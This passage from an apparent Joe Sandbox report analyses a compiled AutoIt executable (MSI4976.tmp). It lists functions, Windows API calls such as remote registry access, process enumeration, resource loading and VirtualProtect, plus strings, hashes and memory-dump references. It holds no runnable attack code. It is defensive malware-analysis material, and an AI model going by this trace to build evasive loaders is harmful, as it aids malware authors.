Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$IconLoadName$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: C:\Windows\Installer\MSI4976.tmp$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas$">
API String ID: 4253510256-1924644571
Opcode ID: f231bb50a817db2519a4f3b93a448edf1bb18400fa49b967bfc076e3c6bbb03e
Instruction ID: fc50768da57f0a53848de52cd11edd0ecb9169e0540bd6470a37553ea48ba759
Opcode Fuzzy Hash: f231bb50a817db2519a4f3b93a448edf1bb18400fa49b967bfc076e3c6bbb03e
Instruction Fuzzy Hash: B85129756442A4BACF13ABA0FC86FEE7B7C9B15700F000156F6429E1E1D7744A48DB62

Function 003830AD Relevance: 16.9, APIs: 11, Instructions: 397
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00383AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00382AA6,?,?), ref: 00383B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0038317F

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?), ref: 0038321E
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 003832B6
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 003834F5
RegCloseKey.ADVAPI32(00000000), ref: 00383502

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 91ce6a39cb6d88ec3ac264660b0d896f33e60696ab9145ddeb6301a1383ab9b4
Instruction ID: 57406d863e5388335cb881500fd073a8723874dca2f925dc92c49d55431cca3b
Opcode Fuzzy Hash: 91ce6a39cb6d88ec3ac264660b0d896f33e60696ab9145ddeb6301a1383ab9b4
Instruction Fuzzy Hash: 49E15A35204310AFCB16EF29C895D6ABBE8EF89714F04856DF54ADB361DA30EE05CB52

Function 003229C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
timewindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 00322A33
KillTimer.USER32(?,00000001), ref: 00322A5D
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00322A80
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00322A8B
CreatePopupMenu.USER32 ref: 00322A9F
PostQuitMessage.USER32(00000000), ref: 00322AAE

Strings

TaskbarCreated, xrefs: 00322A86

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Timer$ClipboardCreateFormatKillMenuMessageNtdllPopupPostProc_QuitRegisterWindow
String ID: TaskbarCreated
API String ID: 157504867-2362178303
Opcode ID: 1f02ef31eeaa9cd65487402f246288e1c29238ebc87399672fba058a3fc0676a
Instruction ID: 8b1a97d95007ca8064787dcbc769d17f6ae847c5370e539f13da901e8f9f779b
Opcode Fuzzy Hash: 1f02ef31eeaa9cd65487402f246288e1c29238ebc87399672fba058a3fc0676a
Instruction Fuzzy Hash: 1B4124312006A9BBDB37AF68BC49BBF365DE719300F450325F902AACE1DE749C508761

Function 0033E47B Relevance: 10.7, APIs: 7, Instructions: 175COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,00000000), ref: 0033E4A7

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

GetCurrentProcess.KERNEL32(00000000,003BDC28,?,?), ref: 0033E567
GetNativeSystemInfo.KERNEL32(?,003BDC28,?,?), ref: 0033E5BC
FreeLibrary.KERNEL32(00000000,?,?), ref: 0033E5C7
FreeLibrary.KERNEL32(00000000,?,?), ref: 0033E5DA
GetSystemInfo.KERNEL32(?,003BDC28,?,?), ref: 0033E5E4
GetSystemInfo.KERNEL32(?,003BDC28,?,?), ref: 0033E5F0

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion_memmove
String ID:
API String ID: 2717633055-0
Opcode ID: b8f0f67997e3b7785df7c348af76230b40a9fc7f39b385bcc814eb28115f81ba
Instruction ID: 11d03008db83eade6eacfc9c75a8247ec3ce3927bec9c1b230dd1821a58e590f
Opcode Fuzzy Hash: b8f0f67997e3b7785df7c348af76230b40a9fc7f39b385bcc814eb28115f81ba
Instruction Fuzzy Hash: 9361B1B2809284DBDF17CF6898C11EA7FA46F2B304F1A45D9D8459F287D634C948CF65

Function 003231F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00323202
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000), ref: 00323219
LoadResource.KERNEL32(?,00000000), ref: 003957D7
SizeofResource.KERNEL32(?,00000000), ref: 003957EC
LockResource.KERNEL32(?), ref: 003957FF

Strings

SCRIPT, xrefs: 0032320F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 6932ee811385509d77792d5be6cc89451926be14a0080494d875176c7a3546d2
Instruction ID: 2279349eeff8486f7cfae51ebe480bbf9550e40ff7d268cfc683712ac692d150
Opcode Fuzzy Hash: 6932ee811385509d77792d5be6cc89451926be14a0080494d875176c7a3546d2
Instruction Fuzzy Hash: 8E117971204715BFE7228B65EC48F677BBDEBCAB41F208828F40296A90DB71DD00CA70

Function 00366F5B Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00366F7D
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00366F8D
Process32NextW.KERNEL32(00000000,0000022C), ref: 00366FAC
__wsplitpath.LIBCMT ref: 00366FD0
_wcscat.LIBCMT ref: 00366FE3
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00367022

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: b5f6ff5c67e220e94f73b8a5600cba11449241a7cd0a7f95c23bc60d818d6077
Instruction ID: 3d89e8633a55ee72c4baa648b50d3939a5e6752634089435b55f042d11071f8b
Opcode Fuzzy Hash: b5f6ff5c67e220e94f73b8a5600cba11449241a7cd0a7f95c23bc60d818d6077
Instruction Fuzzy Hash: 5B218771904218ABDB12EBA0CC89BEEBBFCAB49304F5044E5F545E7141E7759F84CB60

Function 0048B0C0 Relevance: 7.7, APIs: 5, Instructions: 206librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 0048B1FA
GetProcAddress.KERNEL32(?,00484FF9), ref: 0048B218
ExitProcess.KERNEL32(?,00484FF9), ref: 0048B229
VirtualProtect.KERNEL32(00320000,00001000,00000004,?,00000000), ref: 0048B277
VirtualProtect.KERNEL32(00320000,00001000), ref: 0048B28C

Memory Dump Source

Source File: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: 0ba1124f75322a47437ec4a0ae1606bd38f9ea060c8abc66f020468a88c53be8
Instruction ID: 3c02a9696f5b01d2075d052e4b7775ce007947dc5b52934d4115712527763376
Opcode Fuzzy Hash: 0ba1124f75322a47437ec4a0ae1606bd38f9ea060c8abc66f020468a88c53be8
Instruction Fuzzy Hash: 0C513971A543124FD720AEB8DCD867EB7A0EB123607180F7AD5E1CB3C5E798580683E9

Function 0036EFCD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 003678AD: GetFullPathNameW.KERNEL32(?,00000105,?,?), ref: 003678CB

CoInitialize.OLE32(00000000), ref: 0036F04D
CoCreateInstance.COMBASE(003ADA7C,00000000,00000001,003AD8EC,?), ref: 0036F066
CoUninitialize.COMBASE ref: 0036F083

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

Strings

.lnk, xrefs: 0036F02B, 0036F03D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 92aa5d4dcb1a7cc59839412f22249515643b9db9c5da0ecfb3135da658c6e378
Instruction ID: 3eb2c2a7dca3fa7073030eac7ced6d4fda970ef3f799c70555ba47f9a473e6d6
Opcode Fuzzy Hash: 92aa5d4dcb1a7cc59839412f22249515643b9db9c5da0ecfb3135da658c6e378
Instruction Fuzzy Hash: E2A178356043019FC711DF14D894D5ABBE9FF89320F158958F89A9B3A2CB31ED45CB91

Function 0032DCD0 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

G-2, xrefs: 0032DD94, 0032DF2B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID: G-2
API String ID: 0-1651067192
Opcode ID: 99b8824d751465b8ebd99dc28811477169e93d2a8d5ae64bf29c6c5bada141b0
Instruction ID: a1503cc016d6b6debcd14e0c338c35b76e50cc9e9a27643a5f587eba23700686
Opcode Fuzzy Hash: 99b8824d751465b8ebd99dc28811477169e93d2a8d5ae64bf29c6c5bada141b0
Instruction Fuzzy Hash: 5D22CC74A00226DFDB26DF58E491ABAF7F0FF49300F158069E9569B391E730AD81CB91

Function 0033DD92 Relevance: 4.5, APIs: 3, Instructions: 26fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(0032C848,0032C848), ref: 0033DDA2
FindFirstFileW.KERNEL32(0032C848,?), ref: 00394A83

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: File$AttributesFindFirst
String ID:
API String ID: 4185537391-0
Opcode ID: df7b4955086562a349bf96f3a9d2511351f70421cb5adf975fde2eba4ba04437
Instruction ID: b5a46826d6c23a23eab404ed75b0b19625caa78666d67c6f95808cf561a5387d
Opcode Fuzzy Hash: df7b4955086562a349bf96f3a9d2511351f70421cb5adf975fde2eba4ba04437
Instruction Fuzzy Hash: CDE0DF32814401AB8616673CEC4D8FA379C9E0A338F200706F837C28E0EB70AD4586DA

Function 00333680 Relevance: 2.5, APIs: 1, Instructions: 986COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: e89be7c2fa557b00759739ce0713ce02430bdf937c1dc4f311e133fb7465c632
Instruction ID: 7b0730361b2c5d43cd46aa6ea52f5e26559c8e234a4c04e7d1b94d255e951ec4
Opcode Fuzzy Hash: e89be7c2fa557b00759739ce0713ce02430bdf937c1dc4f311e133fb7465c632
Instruction Fuzzy Hash: E99268706087418FDB26DF18C4C0B6AB7E4BF88304F15895DE98A8B3A2D775ED45CB92

Function 0039C146 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0039C158

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: e7a40e996ff260008f3990d4f3a3e00f5ff364f2b2e201b7bf9d3ac43c1a033b
Instruction ID: d0b8184f7906cc3f347c040326595d8bb37d391ea5d7ead4369fdf371d95f8d5
Opcode Fuzzy Hash: e7a40e996ff260008f3990d4f3a3e00f5ff364f2b2e201b7bf9d3ac43c1a033b
Instruction Fuzzy Hash: 0EC04CB140401EDFCB56CB80D9459EFB7BCBB04300F104095A116E1400D7709B459B71

Function 0032E1F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 815windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0032E279
timeGetTime.WINMM ref: 0032E51A
TranslateMessage.USER32(?), ref: 0032E646
DispatchMessageW.USER32(?), ref: 0032E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0032E664
LockWindowUpdate.USER32(00000000), ref: 0032E697
DestroyWindow.USER32 ref: 0032E6A3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0032E6BD
Sleep.KERNEL32(0000000A), ref: 00395B15
TranslateMessage.USER32(?), ref: 003962AF
DispatchMessageW.USER32(?), ref: 003962BD
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 003962D1

Strings

@TRAY_ID, xrefs: 00395D6E
@GUI_WINHANDLE, xrefs: 00395C05
@GUI_CTRLID, xrefs: 00395BB9
@GUI_CTRLHANDLE, xrefs: 00395C51

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: 01e846193ded49315849460d2b128b152c78fc81e250e6770457ea190a834b49
Instruction ID: b25ce83d6bdc3964263685a444bfacadfef0ba2908241d7cefa6c714962685fe
Opcode Fuzzy Hash: 01e846193ded49315849460d2b128b152c78fc81e250e6770457ea190a834b49
Instruction Fuzzy Hash: A762DE70508350DFDB27DF24D886BAA77E8AF45304F14496DF94A8F292DB74E888CB52

Function 00356A28 Relevance: 49.6, APIs: 26, Strings: 2, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 00356C73
___createFile.LIBCMT ref: 00356CB4
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00356CDD
__dosmaperr.LIBCMT ref: 00356CE4
GetFileType.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00356CF7
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00356D1A
__dosmaperr.LIBCMT ref: 00356D23
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00356D2C
__set_osfhnd.LIBCMT ref: 00356D5C
__lseeki64_nolock.LIBCMT ref: 00356DC6
__close_nolock.LIBCMT ref: 00356DEC
__chsize_nolock.LIBCMT ref: 00356E1C
__lseeki64_nolock.LIBCMT ref: 00356E2E
__lseeki64_nolock.LIBCMT ref: 00356F26
__lseeki64_nolock.LIBCMT ref: 00356F3B
__close_nolock.LIBCMT ref: 00356F9B

Part of subcall function 0034F84C: CloseHandle.KERNEL32(00000000,003CEEC4,00000000,?,00356DF1,003CEEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0034F89C
Part of subcall function 0034F84C: GetLastError.KERNEL32(?,00356DF1,003CEEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0034F8A6
Part of subcall function 0034F84C: __free_osfhnd.LIBCMT ref: 0034F8B3
Part of subcall function 0034F84C: __dosmaperr.LIBCMT ref: 0034F8D5

Part of subcall function 0034889E: __getptd_noexit.LIBCMT ref: 0034889E

__lseeki64_nolock.LIBCMT ref: 00356FBD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 003570F2
___createFile.LIBCMT ref: 00357111
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0035711E
__dosmaperr.LIBCMT ref: 00357125
__free_osfhnd.LIBCMT ref: 00357145
__invoke_watson.LIBCMT ref: 00357173
__wsopen_helper.LIBCMT ref: 0035718D

Strings

9A4, xrefs: 0035705E
@, xrefs: 00356D48

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: 9A4$@
API String ID: 3896587723-3991797704
Opcode ID: b3fe8b007e47677edef97e974497dee1e3546e12912125ff4a145192e222a231
Instruction ID: 00224f5a1ad0ef58af188bc72b60227df933ba8965b24a790abdcf9e28c3f013
Opcode Fuzzy Hash: b3fe8b007e47677edef97e974497dee1e3546e12912125ff4a145192e222a231
Instruction Fuzzy Hash: 912214719041059BEF279F68DC93FAE7BA5EB01321F654229ED21AB2F2C7358D48C790

Function 003676DB Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 003676ED
GetFileVersionInfoW.KERNELBASE(?,00000000,00000000,00000000,?,?), ref: 00367713
_wcscpy.LIBCMT ref: 00367741
_wcscmp.LIBCMT ref: 0036774C
_wcscat.LIBCMT ref: 00367762
_wcsstr.LIBCMT ref: 0036776D
75381560.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00367789
_wcscat.LIBCMT ref: 003677D2
_wcscat.LIBCMT ref: 003677D9
_wcsncpy.LIBCMT ref: 00367804

Strings

04090000, xrefs: 003677BF
DefaultLangCodepage, xrefs: 003677EC
%u.%u.%u.%u, xrefs: 00367867
\VarFileInfo\Translation, xrefs: 00367781
StringFileInfo\, xrefs: 0036775C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
